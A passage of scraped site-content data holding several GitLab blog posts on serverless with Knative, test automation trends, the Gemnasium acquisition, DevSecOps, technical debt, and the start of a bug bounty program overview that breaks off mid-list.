Gcp","en-us/blog/gitlab-journey-from-azure-to-gcp.yml","en-us/blog/gitlab-journey-from-azure-to-gcp",{"_path":29626,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29627,"content":29632,"config":29636,"_id":29638,"_type":16,"title":29639,"_source":17,"_file":29640,"_stem":29641,"_extension":20},"/en-us/blog/running-a-consistent-serverless-platform",{"title":29628,"description":29629,"ogTitle":29628,"ogDescription":29629,"noIndex":6,"ogImage":26321,"ogUrl":29630,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29630,"schema":29631},"Run a consistent serverless platform with GitLab and Knative","Portability of your serverless platform is now easy with GitLab and Knative.","https://about.gitlab.com/blog/running-a-consistent-serverless-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Run a consistent serverless platform with GitLab and Knative\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Gruesso\"}],\n        \"datePublished\": \"2019-05-02\",\n      }",{"title":29628,"description":29629,"authors":29633,"heroImage":26321,"date":29616,"body":29634,"category":299,"tags":29635},[19285],"\nThis past April, [Cloud Run](https://cloud.google.com/run/) was announced at Google Cloud Next. As a Google Cloud partner, GitLab had the opportunity to participate and demo our integration during the talk titled, \"[Run a consistent serverless platform anywhere with Kubernetes and Knative](https://youtu.be/lb_bRRAgEyc?t=1100).\"\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/lb_bRRAgEyc?start=1100\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nJust as Kubernetes has become the de facto default platform for running containers, Knative is shaping up to become the answer for running [serverless](/topics/serverless/) workloads in Kubernetes. Cloud Run brings all the benefits of Knative in a fully managed service or as an add-on to your Kubernetes cluster (called “Cloud Run on GKE”), abstracting developers from the complexities of deploying Kubernetes, Knative, and managing a cluster. This empowers developers to focus on adding value vs having to deploy and manage infrastructure.\n\nAt GitLab we believe in the power of open source and adopted Kubernetes and Knative from early on. During the talk, we demoed how GitLab enables operators to deploy Knative with ease so that developers can start deploying Functions-as-a-service (FaaS) or serverless applications using GitLab’s built-in features. GitLab also provides the configured Istio-Ingress endpoints automatically, which operators can then use to configure DNS for their domain, as well as providing the option to bind the domain to the ingress endpoint (via ConfigMap) so that the serving controller can configure the routes. This is all done with a single click.\n\nAfter provisioning your project with the required [serverless templates](https://docs.gitlab.com/ee/update/removals.html), GitLab will automatically build and deploy your application or function as a Knative service, provide you with the endpoint where the service is provisioned, and display load/invocation metrics for your function.\n\n![GitLab Serverless](https://docs.gitlab.com/ee/update/removals.html){: .shadow.small.center.wrap-text}\n\nWhile it’s still early on, we are very excited to partner with both Google Cloud and the Knative community to bring all this awesome functionality to the GitLab community.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nLearn more about [GitLab Serverless](https://docs.gitlab.com/ee/user/project/clusters/serverless)\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nLearn more about [Cloud Run](http://cloud.google.com/run)\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n",[3949,277,3049,923,2509],{"slug":29637,"featured":6,"template":678},"running-a-consistent-serverless-platform","content:en-us:blog:running-a-consistent-serverless-platform.yml","Running A Consistent Serverless Platform","en-us/blog/running-a-consistent-serverless-platform.yml","en-us/blog/running-a-consistent-serverless-platform",{"_path":29643,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29644,"content":29650,"config":29655,"_id":29657,"_type":16,"title":29658,"_source":17,"_file":29659,"_stem":29660,"_extension":20},"/en-us/blog/trends-in-test-automation",{"title":29645,"description":29646,"ogTitle":29645,"ogDescription":29646,"noIndex":6,"ogImage":29647,"ogUrl":29648,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29648,"schema":29649},"3 Trends in test automation","Faster deployments, fewer bugs, better user experiences – see the latest trends in test automation and what they're bringing to the table.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663662/Blog/Hero%20Images/trends-in-test-automation.jpg","https://about.gitlab.com/blog/trends-in-test-automation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Trends in test automation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-05-01\",\n      }",{"title":29645,"description":29646,"authors":29651,"heroImage":29647,"date":29652,"body":29653,"category":8943,"tags":29654},[18462],"2019-05-01","\nAutomation is becoming a powerful tool in every industry.\nWith the pace of development at breakneck speed, [test automation](/topics/devops/devops-test-automation/) is a big asset in deploying applications quickly.\nThe volume and complexity of testing environments mean that machines are well-suited for the job, and a modern QA strategy is all about leveraging that automation effectively.\n\n[QASymphony recently surveyed testers and QA leaders](https://www.qasymphony.com/blog/test-automation-trends-infographic/) at mid-size and large enterprises and found that a significant number of respondents expect to be making a big leap towards test automation in the next year:\nAlmost half expect to be automating more than 50 percent in that time.\nThe test automation tool landscape is growing more complex, and 83 percent of organizations are using open source tools.\n\n## 1. Continuous testing\n\nIn traditional environments, testing gets completed at the end of a development cycle.\nAs more teams move toward a [DevOps](/topics/devops/) and [continuous delivery](/topics/ci-cd/) model in which software is constantly in development, leaving testing until the end can be a huge liability.\nIn the time between a project starting and going to testing, master files could have been changed thousands of times.\nWho knows what kinds of bugs can pop up over months of development?\nThis leads to either updates stuck in testing for far too long or deployments filled with bugs – neither of which is good.\nThat’s where continuous testing comes in.\n\nContinuous testing starts at the beginning.\nEach milestone along the way serves as a quality gate, [baking in excellence at each stage of the software development process](https://techbeacon.com/app-dev-testing/state-test-automation-7-key-trends-watch).\nAs each phase clears, more testing happens as needed.\nImplementing continuous testing methodologies is _already_ the biggest trend in test automation, but some organizations that embark on their DevOps journeys struggle with it.\n\nSubu Baskaran, senior product manager for Sencha, says that despite the desire to test early in the cycle, software development teams that are still maintaining legacy applications find it hard to go back and write unit or end-to-end tests:\n\n>\"The millions of lines of code make it extremely difficult for teams to think about unit testing, as that will severely hamper new feature development. Also, legacy applications have inherent complexities that make end-to-end testing very slow, vague, and brittle. [Hence, teams that maintain legacy applications resort to manual testing.](https://techbeacon.com/app-dev-testing/state-continuous-testing-its-journey-not-destination)\"\n\n## 2. Concurrent DevOps\n\nCode quality and speed go hand in hand, and teams must be able to make use of parallelization to keep up the pace.\nSplitting work across multiple servers has never been easier, and organizations will continue to expand their concurrent DevOps approach.\n\nYou could have multiple physical machines to handle the load but [VMs can be a more economical option for automation parallelization](https://techbeacon.com/app-dev-testing/parallelizing-test-automation-read-first).\nWhether those VMs are on premises or cloud-based largely depends on the cost and your company's ability to embrace the cloud.\n\nYou could also work with cloud partners, companies that host cloud-based execution environments\nfor testing and automation.\n\nAutoscaling is one way that teams can reduce the costs associated with running these concurrent jobs.\n[Autoscaling runners](/releases/2016/03/29/gitlab-runner-1-1-released/) split this work across multiple servers and spin up or down automatically to process queues – so developers don’t have to wait on builds and teams use as much capacity as needed.\nThis user [built out a CI testing pipeline using GitLab](https://medium.freecodecamp.org/4-steps-to-build-an-automated-testing-pipeline-with-gitlab-ci-24ccab95535e) that allowed for more effective bug catching, and more DevOps teams will be using these methods to automate their testing environments in years to come.\n\n## 3. AI and machine learning\n\nAt its core, machine learning is a pattern-recognition technology, [the main purpose of which is to make machines learn without being explicitly programmed](https://hackernoon.com/why-ai-ml-will-shake-software-testing-up-in-2019-b3f86a30bcfa).\nWhat makes this such an important trend in test automation is that it can make testing more predictive and reliable.\nWhile Selenium is still the standard for creating testing scripts, it requires a high level of programming skill to maintain.\nAutomation tools like Mabl, [TestCraft](https://www.testcraft.io/), Testim.io, and AutonomiQ are just some of the few incorporating AI and machine learning into test automation.\n\nDan Belcher, co-founder of testing tool company Mabl, and his team [developed an ML testing algorithm that can adapt to changes in frontend elements](https://techbeacon.com/app-dev-testing/how-ai-changing-test-automation-5-examples).\n\"Although Selenium is the most broadly used framework, the challenge with it is that it's pretty rigidly tied to the specific elements on the front end. Because of this, script flakiness can often arise when you make what seems like a pretty innocent change to a UI.\" he explains.\n\"One of the things that we did at the very beginning of creating Mabl was to develop a much smarter way of referring to frontend elements in our test automation so that those types of changes don't actually break your tests.\"\n\nAI and machine learning make it possible to go through millions of lines of code and identify patterns.\nBut what happens to the human testers? QA automation means that testers can devote more time to superior user experiences – the tasks that machines are _not_ always well-suited for.\nThe role of testers is now [ensuring that quality testing processes are being followed](https://www.qasymphony.com/blog/managing-testing-teams/), so it’s more about oversight than conducting actual tests.\nModern QA can be that bridge for beautiful user experiences that are intuitive and appealing.\nWith the volume of applications being deployed every day, having a great user experience is a way to stand out in a sea of apps.\n\n## These trends in test automation are just the tip of the iceberg\n\nThere is no shortage of exciting things happening: more focus on JavaScript testing, improvements in testing across devices, comprehensive testing dashboards, as well as Selenium-free options.\nThe testing automation landscape is full of new solutions, but none of them is viable in an outdated legacy environment.\n\nManual testing reduces application development speed and threatens code quality.\nThese two disadvantages are growth killers, especially in such a competitive development landscape.\nTest automation makes it possible for testers to use their skills where they add more business value: Creating great user experiences.\nLegacy applications can’t tap into all of these test automation capabilities because they aren’t supported.\nOrganizations forced to manually test their code are being left in the dust by those who automate.\n\nThe advantage of using a solution like GitLab is that we can incorporate a variety of continuous testing solutions.\nCustomers have integrated us with SaaS-based testing solutions or even their own homegrown Selenium grids.\nWe also integrate with JavaScript platforms like Cypress.io, and help teams create continuous integration pipelines.\n\nAre you ready to explore these trends in test automation but legacy applications are holding you back?\n\n[Just commit.](/blog/application-modernization-best-practices/)\n{: .alert .alert-gitlab-purple .text-center}\n\nCover image by [Mimi Thian](https://unsplash.com/photos/ZKBzlifgkgw?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/%22developers%22?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,110,1444],{"slug":29656,"featured":6,"template":678},"trends-in-test-automation","content:en-us:blog:trends-in-test-automation.yml","Trends In Test Automation","en-us/blog/trends-in-test-automation.yml","en-us/blog/trends-in-test-automation",{"_path":29662,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29663,"content":29669,"config":29674,"_id":29676,"_type":16,"title":29677,"_source":17,"_file":29678,"_stem":29679,"_extension":20},"/en-us/blog/gemnasium-our-gitlab-journey",{"title":29664,"description":29665,"ogTitle":29664,"ogDescription":29665,"noIndex":6,"ogImage":29666,"ogUrl":29667,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29667,"schema":29668},"Gemnasium: Our GitLab journey","We joined GitLab as a small startup and quickly became an integral part of the company. We want to share our success story with the startup community.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679751/Blog/Hero%20Images/gemnasium-gitlab-cover.png","https://about.gitlab.com/blog/gemnasium-our-gitlab-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Gemnasium: Our GitLab journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Philippe Lafoucrière\"}],\n        \"datePublished\": \"2019-04-30\",\n      }",{"title":29664,"description":29665,"authors":29670,"heroImage":29666,"date":29671,"body":29672,"category":299,"tags":29673},[18519],"2019-04-30","\n\nGoing through acquisition is never easy, and often fails eventually. Two common scenarios can occur:\nEither the two companies are of similar size, and in this “merger” configuration employees are\nscared of duplicate jobs; or the buyer is slightly bigger than the seller, and there's a risk of losing\nthe culture and cohesion of the team. Ours was the latter: We were afraid of being absorbed and\ndigested completely, and eventually not working on the same subjects anymore, or not together.\nI’ve spent years building a trusting relationship with my team, and I was worried about\ntheir future in this new adventure.\n\nThis story is different. We’ve been at GitLab for over a year now, and it's all been for the best.\nWe still have the pleasure of working together, even though the team has doubled in size since.\nI wanted to share some reflections on Gemnasium's experience of being acquired by and integrated into GitLab:\n\n## Negotiating the acquisition\n\nWe had our share of ups and downs during the development of Gemnasium. I learned to be very\ncautious about my business relations. This due diligence is always a critical step, especially for\nthe buyer, to avoid any surprises and ensure the quality of the purchased product.\nDuring that step, we couldn’t answer all the requests from GitLab, since sharing algorithms and\nsource code was putting us at risk. But we explained why and managed to provide something\nclose enough to fulfil the requirement. We had open and healthy discussions at that point with\nGitLab, and it helped to create the trust we were looking for.\n\n## Joining GitLab\n\nWhen we joined the company, I was amazed to see everyone contributing to the [handbook](/handbook/).\nLiterally everyone, including PeopleOps, Sales, and Marketing. Committing changes with Git is the\nDNA of the company, and really makes a difference. There’s no one left behind, struggling with\nthe inherent technical difficulties of contributing to a shared repository.\nThen I discovered what fuels GitLab to make it so special: Slack. A lot of companies already use\nSlack, often for the best. But with GitLab being an all-remote company, Slack is a main communication\nchannel for everyone, including with other teams. At the time, GitLab was already present in\n40 countries (vs more than 50 as of today), which means a lot of time zones covered. There’s\nalways someone available to help and answer questions.\nEven administrative problems are taken care of by the People Ops team in a few minutes. Not\ndays, not weeks – minutes. It allows all employees to focus on what really matters: Delivering and\nmaking the product better. No need to follow up anymore, nothing to complain about; the burden\nis just gone, and everybody moves on. When you make the life of your employees easier, they are\nhappier and more productive. As simple as that.\n\n## Concluding the Gemnasium story\n\nThe acquisition, like everything else at GitLab, went extremely quickly – so quickly that we didn’t have the\nopportunity to bond one last time together as a team. That was a concern to me, also because\nthe onboarding was overwhelming. So many questions, so many processes and new concepts to\ndigest. Our Product Manager Fabio Busatto was really helpful and did everything he could\nto get up to speed as soon as possible. It felt obvious that we would benefit from having a “retreat”\nin a common place, to close the Gemnasium story, and put the new GitLab one on track. “We don’t\ndo that at GitLab, we’re a remote company,” was the first answer I got. I didn’t have to insist\ntoo much to convince our CEO [Sid](/company/team/#sytses), and I promised to keep everything cheap and neat. We already had two\nteam members in Quebec City, so it made sense to organize something here, to save on travel.\n“[Everything starts with an issue](/handbook/communication/#everything-starts-with-an-issue)” at GitLab, so I created\n[one to make this case](https://gitlab.com/gitlab-com/people-ops/General/issues/99).\nA few days later, the idea and budget were approved without any trouble. We could spend a\nwhole week altogether, and it was a great experience for all of us. The feedback from the team\nwas very positive, and it boosted morale as well.\n\n## Becoming the Secure Team\n\nAs an official part of GitLab, the Gemnasium team became the Security Products\nTeam, now called the [Secure Team](/handbook/engineering/development/sec/secure/). Our scope is much broader than just dependency scanning, and\nwe were expected to deploy SAST, DAST, and Container Scanning solutions. It took us less than a month\nto deliver an [MVC](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) of dependency scanning, based on Gemnasium. We were already working\nremotely, using GitLab, so the pipeline and other parts of the equation were familiar to us. Before the\nnext milestone following our arrival, Gemnasium was running on GitLab infrastructure.\n[Dmitriy](/company/team/#dzaporozhets) (CTO) and Sid (CEO) were really present, taking the pulse of the team, and helping us\nto remove any roadblocks. They didn’t try to force us to do this integration their way. It was really\na collaboration and every meeting began with them asking, “How can we help you?”\n\n## Transitioning from manager to individual contributor\n\nAfter a few months, it became obvious that the team was performing well and heading in the right direction.\nWe had results, customers, and a huge roadmap ahead of us. It was time to start hiring new engineers.\nBack then, I was meeting with a lot of customers, gathering feedback and ideas to help our product\nmanager, and helping with pre-sales. Hiring new engineers can be very time consuming, and\nwith our expectations for the Secure Team, that means a full-time job for a while. Instead of\nforcing me to stop what I was doing and start right away with the recruiting, my manager\ndecided to leverage my skills. I was recently promoted to a Distinguished Engineer position,\nwhich also means switching from the [management branch to the Individual Contribution path](/handbook/engineering/career-development/#individual-contribution-vs-management).\n\nThis is a big shift for me and the team, but in the end, it results in more space and latitude to\nwork on various subjects: Developing our Security Products is much more than just a roadmap\nand implementation. We need to understand the competition, discuss strategic partnerships,\nidentify risks and opportunities, and many other things left aside during all our regular processes.\nBeing my own boss for the last 10 years taught me to be efficient and put the team in the best position for success.\n\n> The bureaucracy that's often associated with large organizations\nis very limited, even after growing to more than 500 people\n\nMy manager, [Dalia Havens](/company/team/#dhavens), has been nothing but supportive\nin this area since the beginning, and a great [servant leader](https://en.wikipedia.org/wiki/Servant_leadership).\nGitLab has been successful so far because the bureaucracy that's often associated with large organizations\nis very limited, even after growing to more than 500 people. As soon as a roadblock is identified,\nwe can discuss collaborate to fix the problem, sometimes right away.\nReducing the number of steps necessary to actually achieve or deliver something is one of the keys\nto happiness for a team used to iterating daily.\n\nI think this is the main reason for the success of this acquisition. At no time did GitLab try to put us in a box.\nAs soon as the results are there, we’re free to experiment, to innovate, and more importantly, to build our own future.\n\n## Experimenting and innovating\n\nOne good example of this freedom to explore is the [auto-remediation feature](/direction/secure/#auto-remediation).\nIn 2014, we shipped our second iteration of the Auto-Update in Gemnasium. While the\nalgorithm behind the update sets had been improved, we were aware that the setup was far from\nsimple, which was against the philosophy behind Gemnasium: In order to work, our algorithm\nhad to run the pipeline, maybe multiple, consecutive times (with different update sets).\nThis was clearly hard to achieve for our users, and for our developers (we didn’t know anything about the test suite).\nBeing part of GitLab would solve that issue, as we would eventually be able to pilot the pipeline\nfor that. Even better, we would be able to hide the runs from the users.\n\nAfter a few customer meetings, it was obvious that this feature was a competitive advantage, and we decided to push\nit more. The whole team was excited to contribute to what would be the first MVC, as our product\nmanager helped to refine the feature, gluing all the pieces together. This step was essential:\nIt allowed everyone to contribute and influence the roadmap. Even as the company gets bigger\nevery day, we still feel empowered and a part of the decision-making process.\n\nThese past 12 months have been extremely exciting and rewarding. While we’re now fully integrated\ninto GitLab, we still feel the fresh air of freedom we had during the Gemnasium years. Even\nbetter, we can focus on what we love, and stop worrying about the short-term future.\n\nIf you're interested in being acquired by GitLab, we're actively looking for startups to join us.\nPlease visit our [acquisitions handbook](/handbook/acquisitions/) to find out more and to see if you\nare the right fit.\n",[676,674,10921],{"slug":29675,"featured":6,"template":678},"gemnasium-our-gitlab-journey","content:en-us:blog:gemnasium-our-gitlab-journey.yml","Gemnasium Our Gitlab Journey","en-us/blog/gemnasium-our-gitlab-journey.yml","en-us/blog/gemnasium-our-gitlab-journey",{"_path":29681,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29682,"content":29688,"config":29692,"_id":29694,"_type":16,"title":29695,"_source":17,"_file":29696,"_stem":29697,"_extension":20},"/en-us/blog/speed-secure-software-delivery-devsecops",{"title":29683,"description":29684,"ogTitle":29683,"ogDescription":29684,"noIndex":6,"ogImage":29685,"ogUrl":29686,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29686,"schema":29687},"Speed up secure software delivery with DevSecOps","It’s time to shift left: Embed security into your DevOps workflow to increase speed, quality, and efficiency in the SDLC.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671258/Blog/Hero%20Images/just-commit-blog-cover.png","https://about.gitlab.com/blog/speed-secure-software-delivery-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Speed up secure software delivery with DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-04-30\",\n      }",{"title":29683,"description":29684,"authors":29689,"heroImage":29685,"date":29671,"body":29690,"category":8943,"tags":29691},[22656],"\n\nDevOps is a revolutionary step forward in efficient software delivery, but teams\noften face painful delays when releases are put through security testing.\nSecurity is critical for every digital entity, but often adds tension to a\nprocess that is already under pressure for speed and cost efficiency. For many,\nsoftware delivery resembles an assembly-line style of work where employees have\nto constantly stop and start their work on different projects, breaking\ntheir mental flow and straining relationships between teams.\n\nTo illustrate, let’s trade software for [Ford’s Model Ts](https://www.history.com/this-day-in-history/fords-assembly-line-starts-rolling)\nfor a minute. Software development closely resembles development of those first cars\nmanufactured by Ford: Each worker makes a contribution and hands off to the\nnext, and then the security pros take it for a test drive (or look for\nvulnerabilities). But if the car doesn’t function properly, it’s sent back to\nthe beginning of the line to the developers who have already begun working on\na different vehicle.\n\nBack to software. How can teams solve this back-and-forth without foregoing\nquality? They must embed security into the development workflow.\n\n## Integrate and automate end-to-end security\n\nWhen security is embedded into the developer workflow, developers can respond\nto vulnerability alerts _while_ they’re writing code. Within the developer's\npipeline report in GitLab, individual vulnerabilities are presented to the developer for\nreview. Alerts could include unsafe code, dangerous attributes, and other\nvulnerabilities that could put your application at risk. The developer is able\nto look into each alert, determine whether it needs to be addressed or can be\ndismissed, and then address each alert while moving through the\ndevelopment process. In the [Security Group Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/), the security analyst is able to see which alerts the developer was unable to resolve as well as what\nwas dismissed, making sure no vulnerabilities slip through the cracks.\n\n### Gain speed and efficiency with DevSecOps\n\nEmbedded security checks allow developers to pass off a streamlined workflow to\ntheir security peers. Security then focuses on the most important risks and\nthreats with the typical mountain of checks reduced to a much shorter list.\nShortened test times lead to much faster releases: Wag! (a dog-walking app)\n[brought their release time down from 40 minutes to just six.](/blog/wag-labs-blog-post/)\n\nStandard release processes place an unnecessary burden on your teams when a\nlimited number of engineers can work on them and project handoff actually\nimpedes completion. The ability to work concurrently within the same environment\nrepresents much more than a shift left: It redefines the entire DevOps\nlifecycle, enabling greater efficiency and collaboration on a single source\nof truth.\n\n### How it works\n\n[Static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\nbrings vulnerabilities to developers so they can review gaps in their code\n_within_ their own working environment before passing the project off to\nsecurity. This integration mitigates the friction that often stands between dev\nand security, allowing security to graduate from roadblock status to critical\nworkflow component. The collaborative nature of [SAST within tools like GitLab](https://docs.gitlab.com/ee/user/application_security/sast/)\nallows different teams to access the project at any time, eliminating any\ncumbersome linear processes and breaking down silos within the larger\norganization.\n\n## Accelerate delivery and build productivity by testing closer to remediation\n\nShifting left might ring alarm bells for some, but don’t worry – developers\nwon’t be solving _every_ security problem. The idea is to alert your dev team to\nthe code fixes that would be easiest for them to solve, rather than making the\nsecurity team do the digging. This switch will streamline the overall workflow,\nallowing the security team to focus on more critical risks and reducing handoff\nbetween security and dev.\n\n[DevSecOps](/topics/devsecops/) integrates security into your CI/CD processes, allowing your teams to\nwork quickly, collaborate efficiently, and produce secure and\nquality software at every release.\n\nAre you ready to build security into your DevOps practices? [Just commit.](https://about.gitlab.com/solutions/security-compliance/)\n{: .alert .alert-gitlab-purple .text-center}\n",[110,4103,674],{"slug":29693,"featured":6,"template":678},"speed-secure-software-delivery-devsecops","content:en-us:blog:speed-secure-software-delivery-devsecops.yml","Speed Secure Software Delivery Devsecops","en-us/blog/speed-secure-software-delivery-devsecops.yml","en-us/blog/speed-secure-software-delivery-devsecops",{"_path":29699,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29700,"content":29705,"config":29710,"_id":29712,"_type":16,"title":29713,"_source":17,"_file":29714,"_stem":29715,"_extension":20},"/en-us/blog/avoiding-foreclosure-on-your-technical-debt",{"title":29701,"description":29702,"ogTitle":29701,"ogDescription":29702,"noIndex":6,"ogImage":29685,"ogUrl":29703,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29703,"schema":29704},"How to avoid foreclosure on your technical debt","There’s no need to be embarrassed — we all have technical debt. Here’s how you pay it off.","https://about.gitlab.com/blog/avoiding-foreclosure-on-your-technical-debt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to avoid foreclosure on your technical debt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Jeremiah\"}],\n        \"datePublished\": \"2019-04-29\",\n      }",{"title":29701,"description":29702,"authors":29706,"heroImage":29685,"date":29707,"body":29708,"category":8943,"tags":29709},[29354],"2019-04-29","\n\nHow much debt can you afford? We all live with some form of debt, whether it’s a student loan, a car loan, a mortgage, or a credit card balance. Debt doesn’t have to be a bad thing. It can be a tool that gives us leverage and flexibility to make large purchases. But there are limits to how much debt is reasonable and that’s where people get into trouble. If they take on too much debt, bad things can happen. \n\nWhat does this have to do with GitLab? Everything.\n\n## What is technical debt?\n\nAccording to [Martin Fowler’s excellent summary on technical debt](https://martinfowler.com/bliki/TechnicalDebt.html), it seems that [Ward Cunningham coined the term](https://www.youtube.com/watch?v=pqeJFYwnkjE) around 1993 as a metaphor to describe a typical pattern that occurs on software projects. Technical debt is a pattern in which a development team does not have enough time, information, or capacity to refine and refactor their code, so their architecture, implementation, and testing may be incomplete. The challenge with technical debt is similar to financial debt in that it doesn’t magically go away. Unless it is managed and paid down, technical debt will grow over time, just like the balance on your credit card bill.\n\n## How to reduce technical debt\n\nYou may feel overwhelmed but there is a reason to be optimistic. The power of rapid, continuous delivery combined with small, incremental changes can help you manage your technical debt and avoid “foreclosure.” Here are three things you can do today to get your “technical finances” in order:\n\n1. **Find your technical debt and document it.**  It’s hard to pay off all your bills if you don’t know what they are. Begin this process by creating a list of issues that capture your specific technical “bills.” Assign them `technical debt` and `priority` labels. You probably won’t be able to pay them all off at one time, but now you know where to start.\n\n1. **Embrace small changes.**  At GitLab, we embrace [Minimum Viable Change (MVC)](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc). The goal of MVC is to make small, incremental improvements. Your goal is to pay down your debt one micro payment at a time.  \n\n1. **Let continuous delivery automate your payments.**  You can’t automate the improvements, but you can leverage CI/CD automation to streamline the process of testing, validating, and deploying code changes for you. Continuous delivery removes the friction and bottlenecks between your developers and the “bank.”  \n\nTechnical debt is a reality in almost every software product in the world. The point about technical debt isn’t how to avoid it, but how to _manage_ it so that you’re not in a situation where you are forced to foreclose on your project because the technical debt is out of control. The tools are readily available. The question is: Are you ready to start managing your technical debt? [Just commit](/blog/strategies-to-reduce-cycle-times/) to your future.\n",[4103,1444],{"slug":29711,"featured":6,"template":678},"avoiding-foreclosure-on-your-technical-debt","content:en-us:blog:avoiding-foreclosure-on-your-technical-debt.yml","Avoiding Foreclosure On Your Technical Debt","en-us/blog/avoiding-foreclosure-on-your-technical-debt.yml","en-us/blog/avoiding-foreclosure-on-your-technical-debt",{"_path":29717,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29718,"content":29723,"config":29728,"_id":29730,"_type":16,"title":29731,"_source":17,"_file":29732,"_stem":29733,"_extension":20},"/en-us/blog/inside-the-gitlab-public-bug-bounty-program",{"title":29719,"description":29720,"ogTitle":29719,"ogDescription":29720,"noIndex":6,"ogImage":11314,"ogUrl":29721,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29721,"schema":29722},"Inside the GitLab public bug bounty program","Four months since going public with our bug bounty program, we dive into where we’re at, what success looks like, and what to expect down the road.","https://about.gitlab.com/blog/inside-the-gitlab-public-bug-bounty-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside the GitLab public bug bounty program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kathy Wang\"}],\n        \"datePublished\": \"2019-04-29\",\n      }",{"title":29719,"description":29720,"authors":29724,"heroImage":11314,"date":29707,"body":29726,"category":674,"tags":29727},[29725],"Kathy Wang","\nAt GitLab, our Security Team has two top-level missions that all of our goals must map to:\n\n1. Secure the product and service.\n2. Protect the company.\n\nWe understand that source code is often the crown jewel of any organization. This is true of the [open core](/blog/gitlab-is-open-core-github-is-closed-source/) code that powers GitLab itself, so we are constantly applying our value of [results](https://handbook.gitlab.com/handbook/values/#results) and [iteration](https://handbook.gitlab.com/handbook/values/#iteration) to the benefit of all GitLab users.\n\nThere are a few basic truths about security:\n\n- Security is about people, process, and technology. Understanding how to optimally balance those pillars is crucial to an effective strategy and strong security posture.\n- Security cannot block business process and the ability to get work done.\n- Security is never 100 percent, and a multi-layer approach must be taken to reduce risk.\n\n## Proactive and reactive security measures\n\nIt makes sense to think about security in terms of proactive and reactive measures, as both are required to truly implement defense-in-depth security. When it comes to [application security](/topics/devsecops/), proactive measures include conducting internal application security reviews and educating developers on secure coding best practices. However, the ratio of developers to application security engineers is high, so the feasibility for organizations to review every single line of code manually is decreasing. Code scanning measures introduce automation in reviewing, but could also miss findings.\n\nEnter reactive measures, such as internal red teams and public bug bounty programs. These come in after the fact – after the source code is written and committed – and provide another, necessary layer of security to our environment.\n\nSince launching GitLab’s [public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/) in December 2018, we’ve resolved 95 security findings, awarded more than $300,000 in bounties and rewarded over 35 hackers for those findings. The overarching goal of our bug bounty program is to make our products and services more secure, and we’re proud of the early success we’ve seen to date.\n\n## How are we measuring success?\n\nWe’re looking at several key metrics and focus areas to determine what’s working and what needs to improve. In fact, our next blog post will dive into some of our early lessons learned, and the process and program improvements we’ve made to ensure we’re meeting our goal.\n\n### Quantity of new report submissions\n\nWe look at the total number of reports received and the average of new reports created each month to help us ensure we’re moving in the right direction in terms of incentivization and engagement amongst our HackerOne reporters. In just the first three months after making our bug bounty program public, we received 266 new reports. That’s an average of 88.6 reports per month. Of those reported, 76 were triaged as valid and 89 were resolved. We classify triaged reports as those for which we’ve assessed a potential user impact, and resolved reports are those we’ve investigated and resolved.\n\n### Repeat reporters\n\nWhen we have reporters who continue to submit findings to our program, that’s another signal that we are on the right track in terms of incentivizing and supporting their efforts so that they keep coming back. Out of a total of 247 reporters from the past year, 38 percent have submitted more than one, 13 percent more than five, and 6 percent more than 10 reports.\n\n#### Check out the top five GitLab reporters (by bounty):\n\n1. [ngalog](https://hackerone.com/ngalog)\n1. [ 